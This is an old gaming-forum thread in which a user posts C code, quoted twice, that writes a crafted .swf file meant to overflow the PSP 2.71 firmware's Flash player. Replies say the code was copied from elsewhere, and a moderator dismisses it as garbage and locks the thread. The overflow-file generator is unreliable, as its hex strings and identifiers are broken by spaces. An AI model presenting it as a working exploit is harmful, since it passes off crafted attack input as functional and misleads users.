Results 1 to 8 of 8

Thread: Will This Work

                  
   
  1. #1
    DCEmu Pro scottyboynow's Avatar
    Join Date
    May 2006
    Location
    UK
    Age
    29
    Posts
    641
    Rep Power
    68

    Default Will This Work

    Okay this code is to be saved as a .swf and to be used on 271 would it work :
    /*
    * ************************* ************************* *********
    * PSP FW 2.71 Overflow Test
    ************************* ************************* ***********
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    void usage(char* file);

    /*
    <swf>
    ...
    </swf>
    */
    char SWF[] = "<swf>";
    char SWF_[] = "</swf>";

    //[SetBackgroundColor]
    char SetBackgroundColor[] = "\x43\x02\xff\x00\x00";

    //[DoAction] 1 pwn j00r 455!
    char DoAction[] =
    "\x3c\x03\x9b\x08\x00\x41\ x41\x41\x41\x41\x41\x41\x 41\x00\x40\x00"
    "\x42\x42\x42\x42\x42\x42\ x42\x42\x00\x43\x43\x43\x 43\x43\x43\x43"
    "\x43\x00\x44\x44\x44\x44\ x44\x44\x44\x44\x00\x45\x 45\x45\x45\x45"
    "\x45\x45\x45\x00\x46\x46\ x46\x46\x46\x46\x46\x46\x 00\x00";

    //[ShowFrame]
    char ShowFrame[] = "\x40\x00";

    //[End]
    char End[] = "\x00\x00";

    int main(int argc,char* argv[])
    {
    system("cls");
    printf("\n* ************************* ************************* ******* *");
    printf("\n* Sony you can kiss my ass, 2.71 Welcome to Homebrew *");
    printf("\n* ************************* ************************* ******* *");


    if ( argc!=2 )
    {
    usage(argv[0]);
    }

    FILE *f;
    f = fopen(argv[1],"w");
    if ( !f )
    {
    printf("\nFile couldn't open!");
    exit(1);
    }

    printf("\n\nWriting crafted .swf file . . .");
    fwrite(SWF,1,sizeof(SWF), f);
    fwrite("\n",1,1,f);
    fwrite(SetBackgroundColor ,1,sizeof(SetBackgroundCo lor),f);
    fwrite("\n",1,1,f);
    fwrite(DoAction,1,sizeof( DoAction),f);
    fwrite("\n",1,1,f);
    fwrite(ShowFrame,1,sizeof (ShowFrame),f);
    fwrite("\n",1,1,f);
    fwrite(End,1,sizeof(End), f);
    fwrite("\n",1,1,f);
    fwrite(SWF_,1,sizeof(SWF_ ),f);
    printf("\nFile created successfully!");
    printf("\nFilename: %s",argv[1]);
    return 0;
    }

    void usage(char* file)
    {
    printf("\n\n");
    printf("\n%s <Filename>",file);
    printf("\n\nFilename = .swf crafted file. Eg: overflow.swf");
    exit(1);
    }

  2. #2
    DCEmu Newbie
    Join Date
    Jul 2006
    Posts
    13
    Rep Power
    0

    Default

    Did you write the code, what is it meant to do (i'm a virgin at psp coding) and if you didn't write out the coding where'd you get it from? These are inportant questions my friend, if this is false hope (as I 99% suspect) fear not, for I won't personally flame you... well maybe just abit...

  3. #3
    Master Malk1th Malksta's Avatar
    Join Date
    Dec 2005
    Location
    Noveria
    Posts
    1,762
    Rep Power
    89

    Default

    thats the same that coderx posted that he took from a site.. !EVIL!
    secret message!
    I used to have a signature here.

  4. #4
    DCEmu Coder splodger15's Avatar
    Join Date
    Jun 2006
    Location
    London
    Age
    33
    Posts
    4,123
    Rep Power
    92

    Default

    Quote Originally Posted by scottyboynow
    Okay this code is to be saved as a .swf and to be used on 271 would it work :
    /*
    * ************************* ************************* *********
    * PSP FW 2.71 Overflow Test
    ************************* ************************* ***********
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    void usage(char* file);

    /*
    <swf>
    ...
    </swf>
    */
    char SWF[] = "<swf>";
    char SWF_[] = "</swf>";

    //[SetBackgroundColor]
    char SetBackgroundColor[] = "\x43\x02\xff\x00\x00";

    //[DoAction] 1 pwn j00r 455!
    char DoAction[] =
    "\x3c\x03\x9b\x08\x00\x41\ x41\x41\x41\x41\x41\x41\x 41\x00\x40\x00"
    "\x42\x42\x42\x42\x42\x42\ x42\x42\x00\x43\x43\x43\x 43\x43\x43\x43"
    "\x43\x00\x44\x44\x44\x44\ x44\x44\x44\x44\x00\x45\x 45\x45\x45\x45"
    "\x45\x45\x45\x00\x46\x46\ x46\x46\x46\x46\x46\x46\x 00\x00";

    //[ShowFrame]
    char ShowFrame[] = "\x40\x00";

    //[End]
    char End[] = "\x00\x00";

    int main(int argc,char* argv[])
    {
    system("cls");
    printf("\n* ************************* ************************* ******* *");
    printf("\n* Sony you can kiss my ass, 2.71 Welcome to Homebrew *");
    printf("\n* ************************* ************************* ******* *");


    if ( argc!=2 )
    {
    usage(argv[0]);
    }

    FILE *f;
    f = fopen(argv[1],"w");
    if ( !f )
    {
    printf("\nFile couldn't open!");
    exit(1);
    }

    printf("\n\nWriting crafted .swf file . . .");
    fwrite(SWF,1,sizeof(SWF), f);
    fwrite("\n",1,1,f);
    fwrite(SetBackgroundColor ,1,sizeof(SetBackgroundCo lor),f);
    fwrite("\n",1,1,f);
    fwrite(DoAction,1,sizeof( DoAction),f);
    fwrite("\n",1,1,f);
    fwrite(ShowFrame,1,sizeof (ShowFrame),f);
    fwrite("\n",1,1,f);
    fwrite(End,1,sizeof(End), f);
    fwrite("\n",1,1,f);
    fwrite(SWF_,1,sizeof(SWF_ ),f);
    printf("\nFile created successfully!");
    printf("\nFilename: %s",argv[1]);
    return 0;
    }

    void usage(char* file)
    {
    printf("\n\n");
    printf("\n%s <Filename>",file);
    printf("\n\nFilename = .swf crafted file. Eg: overflow.swf");
    exit(1);
    }



    i have seen that on a site before

  5. #5
    DCEmu Coder dalejrrocks's Avatar
    Join Date
    Feb 2006
    Location
    Alabama
    Age
    33
    Posts
    240
    Rep Power
    67

    Default

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    ^ Isn't that C? So this should be compiled into an eboot?

  6. #6
    DCEmu Old Pro BL4Z3D247's Avatar
    Join Date
    Jun 2006
    Location
    BL4Z3D 24/7 in CT
    Posts
    1,970
    Rep Power
    80

    Default

    yeh thats the code coderx copied and pasted off another site

  7. #7
    DCEmu Legend ACID's Avatar
    Join Date
    Feb 2006
    Location
    6 Feet Under
    Posts
    2,348
    Rep Power
    83

    Default

    This is C/C++ codding it should be on a PBP but like all mi friends before me replied this is the code coderx copied before. 2 nothi guys.humm what to do what to do.

  8. #8
    Now with Blast Processing! Kaiser's Avatar
    Join Date
    Jun 2005
    Location
    CANADA
    Age
    34
    Posts
    3,079
    Blog Entries
    3
    Rep Power
    50

    Default

    Quote Originally Posted by Acidburn05
    what to do what to do.
    Thread Lockage.

    CoderX simply stole that bunch of garbage code from some program completely non-PSP related.

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Tags for this Thread

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •